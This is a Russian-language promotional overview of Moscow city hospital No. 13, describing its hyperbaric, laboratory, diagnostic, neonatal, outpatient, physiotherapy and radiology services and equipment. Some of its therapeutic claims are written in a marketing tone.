Лечение проводится на новейших бароаппаратах БЛКС – 303 МК, произведенных в государственном космическом научно-производственном центре им. М.В. Хруничева – мировом лидере по производству барокамер.

Лечение в барокамере кислородом повышенного давления – метод, помогающий бороться с проявлениями гипоксии, вызванной самыми разными причинами.

Гипербарическая оксигенация (ГБО) (греч. hyper – много, baros – тяжесть, давление, лат. оxygenium – кислород) – высокоэффективный метод лечения, основанный на насыщении организма 100%-ным кислородом под повышенным (выше атмосферного) давлением.

В основе ГБО лежит повышение содержания кислорода в жидких средах организма. Это приводит:

  • к насыщению всех органов кислородом, что дает возможность полного удовлетворения нашего организма в кислороде;
  • к выработке организмом антиоксидантов – веществ, отвечающих за нормальную функцию клеток, органов и систем, увеличивающих продолжительность жизни.

Пациент находится в барокамере в свободном положении (лежа или сидя), вдыхая целебный кислород. Во время сеанса он может даже спать.

Время и количество сеансов назначается индивидуально и зависит от диагноза и показаний. Обычно, в зависимости от патологии, продолжительность лечения составляет 5-12 сеансов по 45-50 минут каждый.

Лечение проводится больным широкого профиля – терапия, травматология, неврология, кардиология, хирургия.

Кабинет ударно-волновой терапии

Метод основан на том, что мощная гидроакустическая волна «разрыхляет» фиброзные образования и кальцификаты, которые формируются в области связок при различных заболеваниях суставов, позвоночника.

Клинико-диагностическая лаборатория

Клинико-диагностическая лаборатория ГКБ № 13 является одной из крупнейших лабораторий в Москве, предлагая пациентам более 1000 видов лабораторных исследований. Ежегодно сотрудниками лаборатории выполняется в плановом и экстренном порядке более 4 млн исследований.

Лаборатория также работает с государственными, частными медицинскими учреждениями и индивидуальными клиентами. Для оказания платных медицинских услуг частным лицам организован лабораторно-информационный отдел и процедурный кабинет для взятия крови.

В клинико-диагностической лаборатории проводятся следующие виды исследований:

  • биохимические исследования крови и мочи;
  • общеклинические исследования крови и мочи;
  • коагулогические исследования крови;
  • цитологические исследования различных локализаций;
  • иммуногематологические исследования крови (определение группы крови, резус-фактора, фенотипирование, поиск антител);
  • иммунологические исследования крови ( гормоны, аллергены, онкомаркеры, маркеры аутоиммунных, воспалительных заболеваний и др.);
  • ДНК-диагностика инфекций;
  • бактериологические, микологические и санитарно-микробиологические исследования.

Биохимические исследования проводятся на высокотехнологичных биохимических анализторах «Cobas 6000», «Cobas 311» (Roche Diagnostics , Япония), «Dimension RxL Max» (Siemens Medical Solutions Diagnostics, США), «Olimpys – AU-400» (Diagnostica GmbH, Германия), «ABL-800» (Radiometr, Дания), «Rapidlab 1265» (Siemens Medical Solutions Diagnostics, США). Огромные возможности этих анализаторов позволяют рационально организовать круглосуточную работу лаборатории в соответствии с текущими потребностями. Автоматический контроль за качеством реактивов обеспечивает высокое качество проводимых исследований.

Общеклинические исследования крови и мочи  выполняются на анализаторах «Sysmex 2000-I», «Sysmex ХТ 2100», «Sysmex KX-21N» (Roche Diagnostics, Япония), «Becman Coulter LH 500» (Bekman Coulter, США), «Sysmex UF-500», «Sysmex UF-100-i» (Roche Diagnostics, Япония), которые являются многопараметрическими счетчиками клеток крови и осадка мочи, а также обладают исключительно высокой точностью и аналитической надежностью. Коагулогические исследования выполняются на анализаторах «ACL TOP 700 Famyii», (Instrumentation Laboratory, США), «STA Compact» (Stago, Франция), «Coasys Plus C» (Roche Diagnostics, Япония), тромбоэластограф «TEG- 5000». Полученные результаты исследования позволяют выявить патологическую гиперкоагуляцию и тромбофилию, провести врачу коррекцию тромболитической терапии, особенно пациентам с сердечно-сосудистой патологией.

Иммунологические исследования на предмет определения гормонов, метаболитов костной ткани, онкомаркеров, маркеров вирусных и бактериальных инфекций, диагностики аллергии, анемии, инфаркта миокарда, аллергодиагностики, диагностики аутоиммунных заболеваний осуществляется на анализаторах «Cobas 411» (Roche Diagnostics, Япония) «Acсess-2» (Beckman Coulter, США), Mini-Vidas (Biomerieux, Франция), Multiscan (Финляндия).

Определение группы крови, резус-фактора, фенотипирование, тестирование антител и их идентификация проводятся на автоматическом иммуногематологическом анализаторе AutoVue (Jonson&Jonson, США) и с использованием диагностических систем фирмы (Dia-Med-ID Micro Typing System, Швейцария), которые позволяют исключить посттрансфузионные осложнения (переливание крови или ее компонентов).

ДНК-диагностика бактериальных и вирусных инфекций выполняется методом полимеразной цепной реакции (ПЦР), которая позволяет провести прямое обнаружение возбудителей заболевания или генетические мутации. В нашей лаборатории мы используем Real-Time амплификаторы CFX96 (Bio-Rad, США).

Бактериологические исследования проводятся на современном микробиологическом анализаторе Sensititre , фирмы (Trek Diagnostic Systems, Великобритания) — единственная полностью модульная система , определяющая реальную микробиологическую культуру (прямой референсный метод), позволяющий проводить идентификацию более 800 таксонов микроорганизмов, а также учитывать результат постановки чувствительности к более 240 наименованиям антибиотиков в соответствии с международными стандартами NCCLS. Программное обеспечение анализатора дополнено экспертной системой по антибиотикорезистентности, что обеспечивает гарантию безошибочного результата.

В лаборатории используются высококачественные питательные среды с обогатительными и селективными добавками для улучшения роста бактерий. Проводится контроль качества с использованием контрольных штаммов бактерии.

В лаборатории все анализаторы подсоединены в лабораторно-информационную систему (ЛИС) и подключены к амбулаторным картам и  электронным историям болезни пациентов, находящихся в общебольничной базе. Электронное направление на лабораторное исследование создает лечащий врач. Из клинических отделений биоматериал поступает в лабораторию с присвоенными индивидуальными штрих кодами.

Созданное единое информационное пространство лаборатории позволяет в автоматическом режиме выполнять заказы для клинических отделений многопрофильного стационара и поликлиники в кротчайшие сроки, что увеличивает скорость постановки диагноза и оказания медицинской помощи.

Лаборатория интенсивно развивается, внедрено достаточно много новых современных методик:

  • оценка состояния важнейших органов и систем (печени, почек, сердца, легких), сбалансированности липидного, углеводного, пигментного и минерального обменов;
  • определение широкого спектра гормонов для диагностики и мониторинга сахарного диабета, заболеваний щитовидной и поджелудочной железы, органов репродуктивной системы и других эндокринных заболеваний;
  • диагностика инфаркта миокарда, нарушений в системе свертывания крови, аутоиммунных состояний, анемий;
  • исследование онкологических маркеров, позволяющих выявлять опухоли в различных органах на самых ранних стадиях развития (молочной, предстательной желез, желудочно-кишечного тракта и др.);
  • выявление патологии плода;
  • диагностика инфекции: хламидиоз, микоплазмоз, уреоплазмоз, токсоплазмоз, гарднереллез, туберкулез, трихомониаз, кандидоз, мононуклеоз (вирус Эпштейна-Барра), герпес 1,2,6 типа, цитомегаловирус, ВПЧ- 16,18, 31, 33, 35, 39, 45, 51,59, 52, 56, 58, 66 типа;
  • клиническая бактериология и санитарно-бактериологические исследования для контроля за состоянием окружающей среды.

Отделение ультразвуковой и функциональной диагностики

Отделение специализируется на исследованиях сердечно-сосудистой системы (электрофизиологические и ультразвуковые исследования), бронхолегочной системы, нейрофизиологии (ЭЭГ).

За последние годы в ходе программы модернизации отделение оснастили самыми современными ультразвуковыми аппаратами экспертного класса,  спирографами, видеоэнцефалографами, системами для суточного мониторирования ЭКГ и АД.

Организована круглосуточная служба по выполнению экстренных ультразвуковых исследований сердца (ЭХОКГ) и сосудов (ЦДС-триплексбрахиоцефальных артерий, ЦДС-триплекс сосудов рук и ног).

Проводимые в отделении исследования:

1.Электрофизиологические исследования:

  • ЭКГ (аппараты фирмы Schiller);
  • холтеровское мониторирование ЭКГ (аппараты фирм Shiller и Миокард);
  • суточное мониторирование АД (Schiller и Bi-Pilap);
  • нагрузочные пробы: тредмил-тест (нагрузка на беговой дорожке) и велоэргометрия (нагрузка на велосипеде) проводятся на оборудовании системы Schiller.

2.Исследование функции внешнего дыхания:

  • спирография (Компьютерная система фирмы Шиллер и Easy One (Италия).

3.Ультразвуковые исследования:

  • эхокардиография (Toshiba Аplio 500, Vivid q);
  • ультразвуковые исследования сосудов (Vivid q, Vivid Е9, Lodgiq P6).

 

В отделении выполняется наиболее высокоинформативное и современное цветовое дуплексное сканирование (ЦДС) – метод ультразвуковой оценки кровообращения, который позволяет определить наличие атеросклеротических бляшек и тромбов, патологических деформаций сосудов, гемодинамическую значимость патологического процесса.

Цветовое дуплексное сканирование в ГКБ № 13:

  • ЦДС брахиоцефальных артерий;
  • транскраниальное ЦДС сосудов основания мозга (проводится только после ЦДС брахиоцефальных артерий);
  • цветовое дуплексное сканирование вен шеи и головы (исследование выполняется у пациентов с нарушением венозного оттока);
  • ЦДС артерий верхних конечностей;
  • ЦДС вен верхних конечностей;
  • ЦДС артерий нижних конечностей с оценкой плече-лодыжечного индекса;
  • ЦДС вен нижних конечностей;
  • ЦДС брюшного отдела аорты и подвздошных артерий;
  • ЦДС нижней полой вены;

Отделение имеет возможность выполнения обычного (рутинного) ЭЭГ взрослым и детям (до 3 лет) при патологии ЦНС с судорожным синдромом и эпилепсией для коррекции противосудорожной терапии, а также у пациентов после ишемических и геморрагических инсультов, после нейрохирургических вмешательств на головном мозге.

Отделение проводит электроэнцефалографию с видеомониторингом самым маленьким пациентам.

В детском корпусе в реанимационных отделениях выполняется высокотехнологичное исследование – запись электрической активности головного мозга с одновременной съемкой на видеокамеру состояния ребенка. Исследование может проводиться длительностью: от 1 часа до суток.

Видео-ЭЭГ можно делать с первых дней жизни ребенка (в том числе и недоношенным новорожденным в отделениях реанимации) во время сна и бодрствования у детей с патологией ЦНС, судорожным синдромом, и детям, получающим противосудорожную терапию.

Отделение функциональной диагностики №2, или отделение нейрофизиологических исследований

Отделение предназначено для больных с заболеваниями нервной системы. Качеству и уровню проводимых в отделении исследований могут позавидовать многие специализированные центры и научно-исследовательские институты. Проводится диагностика практически всех заболеваний периферической и центральной нервной систем. Тестируется функциональное состояние нервной системы на всех уровнях: от коры головного мозга, проводящих путей и двигательных клеток передних рогов спинного мозга до корешков спинного мозга, периферических нервов и мышц.

Кабинет клинической фармакологии

Все лечебные подразделения ГКБ № 13 действуют в тесном содружестве с Кабинетом клинической фармакологии.

Основные цели Кабинета:

  • контроль над правильностью и рациональностью использования лекарственных препаратов, адекватностью фармакотерапии;
  • выполнение консультативной работы по клинической фармакологии;
  • профилактика, своевременное выявление и лечение побочных действий лекарственных средств;
  • информационное обеспечение лекарственной помощи;
  • осуществление рациональных закупок лекарственных препаратов.

Кабинет контроля качества

Кабинет контроля качества обеспечивает постоянный контроль качества и выявление дефектов в организации оказания медицинской помощи.

 

5.Детский корпус

Неонатологическое отделение

С момента открытия детского корпуса отделения работали в тесном сотрудничестве с отделом физиологии и патологии новорожденных детей НИИ педиатрии и детской хирургии МЗ РФ, что позволило сформировать основные принципы организации стационара: применение современных технологий лечения и выхаживания новорожденных в сочетании с созданием коллектива высококвалифицированных специалистов.

В составе детского корпуса имеются:

  •  экспресс-лаборатория;
  • рентгенологический кабинет, оборудованный современным цифровым рентгенаппаратом;
  • кабинеты ультразвуковой диагностики, эхоэнцефалографии, кардиографии;
  • операционный блок, оснащенный современным оборудованием для проведения офтальмологических операций у новорожденных детей;
  • кабинет физиотерапии для проведения новорожденным детям индуктотермии, магнитотерапии, ультрафиолетового облучения, всех видов массажа и лечебной физкультуры.

Неонатологическое отделение и отделение реанимации принимают новорожденных детей из всех акушерских стационаров Москвы. На постоянной основе пациентов консультируют невролог, окулист, ЛОР-врач, кардиолог, нейрохирург, ортопед.
В отделениях детского корпуса оказываются следующие виды медицинской помощи:

  • оказание реанимационной помощи и интенсивной терапии недоношенным и доношенным новорожденным, находящимся в критическом состоянии (проведение искусственной вентиляции легких, продленной инфузионной терапии, парентерального питания и др.);
  • лечение и выхаживание недоношенных детей и доношенных новорожденных, имеющих патологию органов дыхания, инфекционно-воспалительные заболевания, синдромы нарушения обмена веществ и др.;
  • лечение и реабилитационные мероприятия поражения ЦНС;
  • консервативное и хирургическое лечение (лазеркоагуляция сетчатки) ретинопатии недоношенных;
  • иммунопрофилактика респираторно-синцитиальной вирусной инфекции;
  • обследование детей с применением новейших методов исследования иммунного статуса, бактериологический мониторинг, видеоэнцефалография, компьютерная томография мозга, ультразвуковое исследование органов зрения, тазобедренных суставов, внутренних органов, сердца, головного мозга;
  • катамнестическое наблюдение за детьми после выписки из отделения до 3 лет жизни в центре восстановительного лечения (консультации педиатра-неонатолога, детского невролога, окулиста, психолога, клинического генетика, иммунолога, кардиолога, хирурга-ортопеда, отоларинголога, кабинет иммунопрофилактики).

В отделениях работает Школа матерей по обучению уходу за новорожденными детьми в домашних условиях, массажу и стимуляции психомоторного развития (занятия проводят неонатологи и психолог-специалист по развитию детей раннего возраста, кандидат психологических наук).

Центр восстановительного лечения детей до 3 лет

Центр объединил специалистов различных специальностей, имеющих большой опыт работы с детьми раннего возраста и специализирующихся на лечении глубоконедоношенных детей, среди них: неонатологи, педиатры, невролог, офтальмологи, гематолог, аллерголог-иммунолог, психолог (специалист по развитию детей), кардиолог, отоларинголог, хирург-ортопед, специалист ультразвуковой диагностики, инфекционист, эндокринолог, пульмонолог. Проводится широкий спектр лабораторно-инструментальных исследований, включающий клинический и биохимический анализы крови, анализ мочи, обследование на внутриутробную инфекцию, ультразвуковое исследование органов и систем (нейросонография, УЗИ органов брюшной полости, тазобедренных суставов, ЭХО-КГ, ЭКГ, электроэнцефалография, рентгенография и т.д.).  Только в нашем Центре проводится так называемый «Нейро-тест», способный определить риск осложнений со стороны центральной нервной системы после проведения вакцинации.

В Центре осуществляется иммунизация малышей против респираторно-синтициальновирусной инфекции (РСВ-инфекции) препаратом Паливизумаб (Синагис). Также осуществляется консультирование на дому специалистом по грудному вскармливанию, детский массаж и лечебная физкультура.

В Центре наблюдаются малыши с тяжелой патологией глаз, в том числе и с ретинопатией недоношенных, проводятся высокотехнологичные обследования: осмотр на ретинальной камере, офтальмосканирование и др. В детском Центре консультирует опытный аллерголог-иммунолог, который разрабатывает индивидуальный график вакцинопрофилактики для недоношенных детей с учетом их особенностей и перенесенных в раннем неонатальном периоде проблем.  Особое место в Центре занимает проведение вакцинация детей импортными вакцинами, в частности: «Имовакс Полио», «Энджерикс», «Пентаксим», «Превенар» и т.д., осуществляемое бригадой вакцинологов.

В Центре консультирует врач-кардиохирург, специализирующийся на хирургической коррекции врожденной патологии сердечно-сосудистой системы у новорожденных и недоношенных детей, проводится ультразвуковая диагностика патологии сердечно-сосудистой системы (ЭХО-КГ).

Для всех детей в возрасте от 0 до 3-х лет проводится психологическая диагностика интеллектуального, моторного и эмоционального развития и консультации для родителей по всем вопросам психического развития детей, их социализации и формированию межличностных отношений; а также психологическое сопровождение семьи ребенка с проблемами в развитии (нарушения зрения, слуха, интеллекта, речи). Специалист по развитию детей всегда протестирует ребенка и разработает индивидуальную программу для малыша, исходя из его актуального уровня развития, с учетом стоящих перед ребенком задач.

Отделение реанимации и интенсивной терапии для новорожденных и недоношенных детей

В среднем за год отделение оказывает необходимую помощь более 1000 маленьким пациентам. Кроме того, в условиях операционной детского корпуса врачами отделения оказывается анестезиологическое пособие при проведении хирургической коррекции ретинопатии недоношенных, проводится динамическое наблюдение в послеоперационном периоде.

В отделении проводится оказание реанимационной помощи и интенсивной терапии  доношенным и недоношенным новорожденным, родившимся в том числе с экстремально низкой массой тела, находящимся в критическом состоянии: проведение инвазивной и неинвазивной искусственной вентиляции легких, длительного парентерального питания, создание необходимого лечебно-охранительного режима. Осуществляется консультация  кардиохирурга, нейрохируга, динамическое наблюдение офтальмолога.

В распоряжении отделения  реанимации и интенсивной терапии имеются:

  • модульные мониторы, обладающие уникальной технологией регистрации параметров жизненно важных функций организма в режиме реального времени;
  • дыхательное оборудование с режимами подключения вспомогательной, а при необходимости, принудительной вентиляции легких со всеми существенными параметрами в течение длительного времени;
  • автоматизированные инфузионные дозирующие насосы, позволяющие точно вводить лекарственные препараты;
  • аппараты ультразвукового исследования органов и систем.

 

6.Поликлиническое отделение

Поликлиническое отделение

В поликлинике работают врачи общей практики. Кроме них приём ведут врачи всех основных специальностей. Для улучшения работы с пациентами на дому два врача-терапевта работают только по вызовам на дом.
В течение года пациенты посещают поликлинику более 200 тысяч раз. В 9000 случаев медицинская помощь оказывалась на дому. На 100 посещений врачей поликлиники осуществлялось в среднем 200 лабораторных исследований, 25 ультразвуковых, 9 рентгенологических исследований и 5 ЭКГ, проводится 3617 компьютерных томографий и 3306 магнито-резонансных томографий.
В 2017 году поликлиника перешла на работу в полном соответствии с московскими медицинскими стандартами: организован сестринский пост, обучена работе медицинская сестра общей практики. Организован кабинет по работе с пациентами старших возрастных групп с множественными хроническими заболеваниями.

Консультативно-диагностический центр

Консультативно-диагностический центр ГКБ № 13 – это современное многопрофильное амбулаторное  консультативное отделение, работающее в тесной связи со всеми подразделениями ГКБ № 13. Отделение обеспечивает консультативно-диагностическую и лечебную помощь больным, страдающим заболеваниями нервной системы, желудочно-кишечного тракта, сердечно-сосудистой, дыхательной систем, периферических сосудов, опорно-двигательного аппарата, щитовидной железы,  с отягощенным аллергологическим анамнезом и прочими заболеваниями.   В настоящее время на базе КДО ведут консультативный прием заведующие отделений и ведущие специалисты профильных отделений стационара, сотрудники кафедр по профилям: абдоминальная хирургия, в т.ч. герниология, патология печени, поджелудочной железы, желчевыводящих путей, колопроктология, сосудистая хирургия, нейрохирургия  и т.д.

На базе КДО работает Кабинет ран и раневых инфекций, основным направлением которого является оказание медицинской помощи больным с гнойными заболеваниями мягких тканей, трофическими язвами и хроническими ранами, синдромом диабетической стопы, перипротезной инфекцией и остеомиелитами с использованием самых современных модернизированных инновационных методов лечения.

В КДО функционирует Кабинет остеопороза и профилактики вторичных переломов, занимающегося в современном аспекте актуальной социальнозначимой патологией. В  тандеме работают эндокринолог, травматолог-ортопед и ревматолог.

В Кабинете аллерголога-иммунолога ведется консультативный прием пациентов, в том числе с тяжелым течением аллергических заболеваний с сочетанием бронхиальной астмы, проводятся диагностические обследования с использованием аллергенов, а также специфическая и неспецифическая гипосенсебилизирующая терапия в условиях процедурного аллергокабинета КДО.

Основной задачей КДО является оказание консультативно-диагностической и лечебной помощи больным с формированием плановых потоков для госпитализации в ортопедическое отделение, отделение травматологии и ортопедии, хирургическое отделение, нейрохирургическое отделение.

Отделение физиотерапии

В отделении физиотерапии есть возможность получить самые современные лечебные, реабилитационные и оздоровительные услуги. Программы восстановительного лечения составляются индивидуально с учетом основного и сопутствующего заболевания. В последние годы наряду с классическими физиотерапевтическими аппаратами появились аппараты нового поколения и, следовательно, новые методики лечения. Отделение оснащено на современном уровне и предлагает различные комплексы лечения и реабилитации больных с заболеваниями и повреждениями органов опоры и движения, бронхо-легочной патологией, неврологическими заболеваниями, последствиями инсультов и др. Лечение проводится амбулаторно и на базе «дневного» стационара.

Галокамера (спелеотерапия) – метод воздействия искусственным микроклиматом соляных пещер. Основным действующим фактором является высокодисперсный сухой солевой аэрозоль. Процедура проводится в креслах повышенной комфортности с музыкальным сопровождением. Показаниями являются все хронические заболевания дыхательной системы (бронхиальная астма, хр.бронхит, хр.пневмония и др.), кожные заболевания.

Ингаляционная терапия применяется при различных заболеваниях верхних и нижних дыхательных путей с помощью аппаратов – небулайзеров фирмы «Пари» (Германия).

Широко представлена аппаратура для проведения магнитотерапии, светолечения (лазер, КВЧ), электролечения, электромиостимуляции, а также комбинированного и сочетанного воздействия различными физическими факторами.

Лимфодренажная стимуляция проводится с помощью аппарата «Limphavision» (Германия), с целью активизации дренажной функции сосудов, что приводит к нормализации лимфа- и кровообращения. Этот метод лечения применяется к больным с нарушениями лимфооттока, в послеоперационном периоде и после травм с целью ускорения заживления ран, при венозной недостаточности, последствиях рожистого воспаления, застойных явлениях в малом тазу (простатит и др.), заболеваниях периферической нервной системы, у больных с лимфостазом конечностей после онкологических операций.

В зале лечебной физкультуры Вам предложат сухой бассейн «Угуль», который обеспечивает выполнение упражнений в «подвесе», что способствует увеличению подвижности суставов, мягкой релаксации и растяжению пояснично-крестцового и шейного отделов позвоночника.

Имеются различные аппараты с компьютерным управлением для разработки суставов после травм, операций и при заболеваниях суставов дегенеративно-дистрофического происхождения.

В отделении работают специалисты по массажу, владеющие классическим, точечным и сегментарным массажем, а также массажем в электростатическом поле (хивамат-терапия).

 

7.Отделение лучевой диагностики
Заведующий отделением лучевой диагностики, врач рентгенолог, кандидат медицинских наук, врач высшей квалификационной категории, обладатель статуса и нагрудного знака «Московский врач»

Заведующий отделением лучевой диагностики, врач рентгенолог, кандидат медицинских наук, врач высшей квалификационной категории, обладатель статуса и нагрудного знака «Московский врач»

В ГКБ № 13 работают 5 рентгеновских кабинетов с цифровыми рентгеновскими аппаратами.

Медицинские исследования, выполняемые в рентгенологическом отделении:

  • маммография;
  • рентгеноскопия грудной клетки;
  • рентгенография органов грудной клетки;
  • рентгеноскопия и рентгенография сердца с контрастированием пищевода;
  • рентгенография гортани и трахеи;
  • рентгенография диафрагмы;
  • прицельная рентгенография органов грудной клетки;
  • фарингография контрастная;
  • флюорография легких диагностическая и профилактическая;
  • рентгеноскопия и рентгенография брюшной полости (обзорная);
  • рентгеноскопия и рентгенография желудка с двойным контрастированием;
  • рентгеноскопия и рентгенография желудка традиционным методом;
  • рентгеноскопия и рентгенография пищевода;
  • ирригоскопия и ирригография с двойным контрастированием;
  • рентгенография пассажа бария по тонкому кишечнику;
  • латерография;
  • рентгенография шейного, грудного, пояснично-крестцового отдела позвоночника, копчика;
  • рентгенография шейного, грудного, пояснично-крестцового отдела позвоночника, копчика с функциональными пробами;
  • рентгенография лопатки, грудины, ключицы;
  • рентгенография костей таза;
  • рентгенография грудного отдела позвоночника, грудины, ребер во время дыхания;
  • рентгенография крупного сустава;
  • рентгенография мелких суставов;
  • рентгенография трубчатых костей;
  • рентгенография черепа обзорная, аксиальная и тангенциальная;
  • рентгенография турецкого седла в 2-х проекциях;
  • рентгенография нижней челюсти, носа, глазницы;
  • контрастная рентгенография носоглотки, глазниц, придаточных пазух носа;
  • контрастная рентгенография слюнной железы и притоков;
  • рентгенография височной кости, височно-челюстного сустава, сосцевидного отростка;
  • рентгенография зубов;
  • панорамная рентгенография зубов;
  • фистулография;
  • обзорная рентгенография почек;
  • внутривенная (экскреторная) урография;
  • внутривенная и ретроградная цистография;
  • гистеросальпингография;
  • пневмогистеросальпингография;
  • рентгенография акромиально-ключичного сустава (с функциональной нагрузкой);
  • рентгенография стоп (с функциональной нагрузкой);
  • описание (консультация) рентгеновских снимков из других лечебных учреждений.

Компьютерная томография

Мультиспиральная компьютерная томография – метод послойного исследования внутренних органов с использованием рентгеновского излучения. Применяется для исследования практически всех областей тела человека, дает возможность точно установить локализацию и распространенность патологического процесса, оценить результаты лечения.

В ГКБ № 13 проводится полный спектр услуг компьютерной томографии:

  • КТ головы (головного мозга, носовых пазух и др.);
  • КТ шеи, грудины, всех отделов позвоночника, копчика;
  • КТ суставов (плечевого, коленного, голеностопного и др.) с 3D-реконструкцией;
  • КТ внутренних органов (грудной клетки, брюшной полости, печени, почек, мочевыделительной системы и др.).

КТ с контрастом (болюсный метод) – это введение контрастного препарата с помощью специального аппарата — инъектора. Методика позволяет обследовать органы и сосуды в момент наибольшего накопления в них вещества-контраста. Перед компьютерной томографией с контрастом необходимо сдать анализы на биохимию крови.

КТ-ангиография позволяет получить послойную серию изображений кровеносных сосудов; на основе полученных данных посредством компьютерной постобработки с 3D-реконструкцией строится трехмерная модель кровеносной системы.

ГКБ № 13 располагает двумя компьютерными томографами.

Магнитно-резонансная томография

Магнитно-резонансная томография (МРТ), как высокоинформативный метод, позволяет исследовать внутренние органы и диагностировать широкий спектр нарушений. Томография позволяет получать точные изображения срезов сосудов, мягких тканей, органов в различных плоскостях и реконструировать пространственное расположение внутренних структур. В некоторых случаях делают МРТ с контрастным препаратом, который вводится внутривенно. Длительность диагностики зависит от вида исследования и его сложности и может занимать от 15 минут до часа.

Противопоказания к проведению процедуры бывают абсолютные и относительные (условные).

Абсолютные противопоказания:

  • наличие у пациентов имплантированных слуховых аппаратов;
  • кардиостимулятор;
  • масса тела – выше 120 кг;
  • наличие аппарата Илизарова;
  • кровоостанавливающие клипсы в сосудах головного мозга.

Относительные противопоказания:

  • наличие нервных стимуляторов;
  • беременность (1 триместр);
  • невозможность длительно находиться в одном положении вследствие болей;
  • неадекватное состояние пациента;
  • тяжелое состояние пациента.

Важнейшими преимуществами МРТ перед известными диагностическими методами можно считать отсутствие лучевого влияния на пациента и неинвазивность диагностики.

Исследование проводится на высокопольном (1,5 Тл) томографе ExelArt Vantag Atlas-X фирмы Toshiba.

Маммография

Маммография — метод диагностики заболеваний молочной железы, при помощи которого можно определить наличие доброкачественных новообразований, злокачественных опухолей и воспалительных процессов в груди. Процедура дает возможность диагностировать рак груди на самых ранних стадиях развития. На сегодняшний день маммография остается единственным способом ранней диагностики рака молочной железы. Современная цифровая аппаратура позволяет проводить точнейшие исследования молочной железы при минимальной лучевой нагрузке за 5–10 минут. Женщинам после 40 лет маммографию необходимо проходить не реже одного раза в 2 года. Исследование проводится на современном цифровом аппарате «AMULET» с последующей обработкой изображений на рабочей станции.

 

8.Южнопортовый филиал ГКБ № 13

В последние годы поликлиника приобрела новый облик, оснастилась новой мебелью и оборудованием: цифровым флюорографом,  эндоскопической стойкой для кабинета эндоскопии, функциональными кроватями для Клинико-диагностического центра амбулаторной хирургии и аппаратами для  проведения лимфодренажа, ЭЭГ и ЭХОЭГ, ультразвуковых исследований и исследования ФВД. С 2018 года начали функционировать отделение медицинской профилактики, где можно пройти диспансеризацию за 90 минут.

Медицинскую помощь на дому обеспечивает отделение медицинской помощи на дому, в состав которого входит COLL- центр, выездная бригада врачей, а так же новая служба паллиативной и патронажной помощи. Данный проект стартовал в 2018 году. Задачей службы является обслуживание на дому маломобильных пациентов  двух поликлинических отделений больницы. Бригада, состоящая  из врача и двух медицинских сестер, обеспечена автотранспортом. Решает вопросы динамического наблюдения, реабилитации и лекарственного обеспечения пациентов, вопросы рационального и своевременного обезболивания.

В Амбулаторном хирургическом центре (АХЦ), расположенном на базе Южнопортового филиала, развернуты два операционных блока с палатами для чистых и гнойных операций, палаты для консервативной терапии.

В составе АХЦ функционирует дневной стационар на 25 коек. Лечение в дневном стационаре больные получают в две смены ежедневно. В Центре выполняется более 1500 операций по поводу грыж передней брюшной стенки, варикозного расширения вен нижних конечностей, мягкотканных образований кожи и подкожной клетчатки, варикоцеле, водянки яичка, контрактуры Дюпюитрена, вальгусной деформации 1 пальца стопы.

Каждый кабинет врача общей практики оснащен отоскопом, риноскопом, офтальмоскопом, пульсоксиметром, бесконтактным тонометром, неврологическими молоточками, весами, что позволяет врачу на месте, при необходимости, провести осмотр слуховых проходов, провести измерение внутриглазного давления, более квалифицированно оценить неврологический и хирургический статус.

Основной задачей дежурного врача общей практики является оказание медицинской помощи наиболее тяжелым больным в день обращения, при необходимости оказание неотложной помощи. Для этого рядом с кабинетом дежурного врача организована манипуляционная, где пациентам при необходимости может быть выполнена ЭКГ, оказана специализированная  и неотложная помощь. При этом в поликлинике сохранены все врачи-специалисты. Квалифицированные врачи общей практики позволят снизить нагрузку на врачей-специалистов, повысить их доступность для тех, кому их помощь наиболее необходима. Для постоянного повышения квалификации врачей введена система наставничества – в графике работы выделено время на обучение в кабинетах врачей специалистов.

В настоящее время специализированная помощь в поликлинике оказывается  следующими врачами-специалистами: неврологом, оториноларингологом, офтальмологом, кардиологом, эндокринологом, урологом, ортопедом, инфекционистом, иглорефлексотерапевтом. В поликлинике работает отделение физиотерапии, кабинет ЛФК. Определены маршруты консультаций по недостающим специальностям-нефрология, пульмонология, дерматовенерология, гастроэнтерология, ревматология. Помощь оказывается силами специалистов больницы, окружных специалистов, КДЦ.

Следующим проектом является организация отдельного терапевтического участка численностью не более 500 человек для ведения пациентов старших возрастных групп с множественными хроническими заболеваниями. Основной задачей этого проекта является повышение качества оказания медицинской помощи пациентам старших возрастных групп, имеющих три и более хронических заболевания, состояние которых позволяет самостоятельно посещать поликлинику. Проект предполагает прием врача вместе с медицинской сестрой, увеличение продолжительности первичного приема до 40 минут, повторного до 20 минут, обеспечение телефонной связи пациентов с лечащим врачом и медицинской сестрой, формирование индивидуального плана ведения пациентов. В таких условиях врач имеет возможность уделить больше времени каждому пациенту.

 

